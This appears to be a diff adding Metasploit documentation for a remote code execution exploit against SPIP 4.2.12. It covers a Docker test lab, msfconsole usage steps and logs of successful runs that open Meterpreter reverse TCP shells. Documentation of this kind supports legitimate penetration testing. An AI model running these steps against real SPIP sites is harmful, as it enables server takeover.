|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This Metasploit module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12. |
| 4 | +The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input, allowing an attacker |
| 5 | +to inject and execute arbitrary PHP code. |
| 6 | +This can be achieved by crafting a payload that manipulates the templating data processed by the `echappe_retour()` function, |
| 7 | +which invokes `traitements_previsu_php_modeles_eval()`, containing an `eval()` call. |
| 8 | + |
| 9 | +To replicate a vulnerable environment for testing: |
| 10 | + |
| 11 | +1. Install SPIP using the provided Docker Compose configuration. |
| 12 | +2. Use the image `ipeos/spip:4.2.12` to ensure the environment is vulnerable. |
| 13 | +3. Verify that the SPIP instance is accessible on the local network. |
| 14 | + |
| 15 | +### Docker Setup |
| 16 | + |
| 17 | +Use the following Docker Compose file to set up the environment: |
| 18 | + |
| 19 | +```yaml |
| 20 | +version: '3.8' |
| 21 | + |
| 22 | +services: |
| 23 | + db: |
| 24 | + image: mariadb:10.5 |
| 25 | + restart: always |
| 26 | + environment: |
| 27 | + - MYSQL_ROOT_PASSWORD=MysqlRootPassword |
| 28 | + - MYSQL_DATABASE=spip |
| 29 | + - MYSQL_USER=spip |
| 30 | + - MYSQL_PASSWORD=spip |
| 31 | + volumes: |
| 32 | + - mysql-data:/var/lib/mysql |
| 33 | + |
| 34 | + app: |
| 35 | + image: ipeos/spip:4.2.12 |
| 36 | + restart: always |
| 37 | + depends_on: |
| 38 | + - db |
| 39 | + environment: |
| 40 | + - SPIP_SITE_ADDRESS=http://localhost:8880 |
| 41 | + - SPIP_DB_SERVER=db |
| 42 | + - SPIP_DB_LOGIN=spip |
| 43 | + - SPIP_DB_PASS=spip |
| 44 | + - SPIP_DB_NAME=spip |
| 45 | + - SPIP_AUTO_INSTALL=1 |
| 46 | + ports: |
| 47 | + - 8880:80 |
| 48 | + volumes: |
| 49 | + - spip-data:/var/www/html |
| 50 | + |
| 51 | +volumes: |
| 52 | + spip-data: |
| 53 | + mysql-data: |
| 54 | +``` |
| 55 | +
|
| 56 | +This Docker Compose file configures a SPIP environment with a MariaDB backend, enabling automatic installation. |
| 57 | +Here are the correct setup details: |
| 58 | +
|
| 59 | +- **SPIP Access URL:** `http://localhost:8880` |
| 60 | +- **Database Configuration:** Utilizes MariaDB, as specified by the database service setup. |
| 61 | +- **Automatic Installation:** Enabled via `SPIP_AUTO_INSTALL=1`. |
| 62 | + |
| 63 | +After launching the Docker container, SPIP will be accessible at `http://localhost:8880`. |
| 64 | +The automatic installation will simplify the initial setup, allowing you to start using SPIP without manual configuration. |
| 65 | + |
| 66 | +If you decide to disable automatic installation by setting `SPIP_AUTO_INSTALL` to `0`, you will need to manually configure SPIP. |
| 67 | +To do this, after starting the container, navigate to `http://localhost:8880/ecrire` to access the SPIP web installation panel. |
| 68 | + |
| 69 | +### Non-Docker Setup |
| 70 | + |
| 71 | +If you prefer not to use Docker, you can manually set up SPIP with the following commands: |
| 72 | + |
| 73 | +```bash |
| 74 | +wget https://files.spip.net/spip/archives/spip-v4.2.12.zip |
| 75 | +unzip spip-v4.2.12.zip |
| 76 | +cd spip-v4.2.12 |
| 77 | +php -S 0.0.0.0:8000 |
| 78 | +``` |
| 79 | + |
| 80 | +Accessible at `http://localhost:8000`. |
| 81 | + |
| 82 | +## Verification Steps |
| 83 | + |
| 84 | +1. Set up a SPIP instance with the specified Docker environment. |
| 85 | +2. Launch `msfconsole` in your Metasploit framework. |
| 86 | +3. Use the module: `use exploit/multi/http/spip_porte_plume_previsu_rce`. |
| 87 | +4. Set `RHOSTS` to the local IP address or hostname of the target. |
| 88 | +5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. |
| 89 | +6. Execute the exploit using the `run` or `exploit` command. |
| 90 | +7. If the target is vulnerable, the module will execute the specified payload. |
| 91 | + |
| 92 | +## Options |
| 93 | + |
| 94 | +No additional options are required for basic exploitation. |
| 95 | + |
| 96 | +## Scenarios |
| 97 | + |
| 98 | +### Successful Exploitation Against Local SPIP 4.2.12 |
| 99 | + |
| 100 | +**Setup**: |
| 101 | + |
| 102 | +- Local SPIP instance with version 4.2.12. |
| 103 | +- Metasploit Framework. |
| 104 | + |
| 105 | +**Steps**: |
| 106 | + |
| 107 | +1. Start `msfconsole`. |
| 108 | +2. Load the module: |
| 109 | +``` |
| 110 | +use exploit/multi/http/spip_porte_plume_previsu_rce |
| 111 | +``` |
| 112 | +3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1). |
| 113 | +4. Configure other necessary options (TARGETURI, SSL, etc.). |
| 114 | +5. Launch the exploit: |
| 115 | +``` |
| 116 | +exploit |
| 117 | +``` |
| 118 | + |
| 119 | +**Expected Results**: |
| 120 | + |
| 121 | +With `php/meterpreter/reverse_tcp`: |
| 122 | + |
| 123 | +``` |
| 124 | +msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000 |
| 125 | +
|
| 126 | +[*] Started reverse TCP handler on 192.168.1.36:4444 |
| 127 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 128 | +[*] SPIP Version detected: 4.2.12 |
| 129 | +[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable. |
| 130 | +[*] Preparing to send exploit payload to the target... |
| 131 | +[*] Sending exploit payload to the target... |
| 132 | +[*] Sending stage (39927 bytes) to 192.168.1.36 |
| 133 | +[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:56534) at 2024-08-19 19:43:18 +0200 |
| 134 | +
|
| 135 | +meterpreter > sysinfo |
| 136 | +Computer : linux |
| 137 | +OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 |
| 138 | +Meterpreter : php/linux |
| 139 | +``` |
| 140 | + |
| 141 | +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: |
| 142 | + |
| 143 | +``` |
| 144 | +msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000 |
| 145 | +
|
| 146 | +[*] Started reverse TCP handler on 192.168.1.36:4444 |
| 147 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 148 | +[*] SPIP Version detected: 4.2.12 |
| 149 | +[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable. |
| 150 | +[*] Preparing to send exploit payload to the target... |
| 151 | +[*] Sending exploit payload to the target... |
| 152 | +[*] Sending stage (3045380 bytes) to 192.168.1.36 |
| 153 | +[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.1.36:59106) at 2024-08-19 19:44:40 +0200 |
| 154 | +
|
| 155 | +meterpreter > sysinfo |
| 156 | +Computer : 192.168.1.36 |
| 157 | +OS : LinuxMint 21.3 (Linux 5.15.0-113-generic) |
| 158 | +Architecture : x64 |
| 159 | +BuildTuple : x86_64-linux-musl |
| 160 | +Meterpreter : x64/linux |
| 161 | +``` |
| 162 | + |
| 163 | +- The module successfully exploits the vulnerability and opens a Meterpreter session on the target. |
| 164 | + |
| 165 | +**Note**: Ensure the SPIP instance is correctly configured and running in the Docker environment for the exploit to work as expected. |
0 commit comments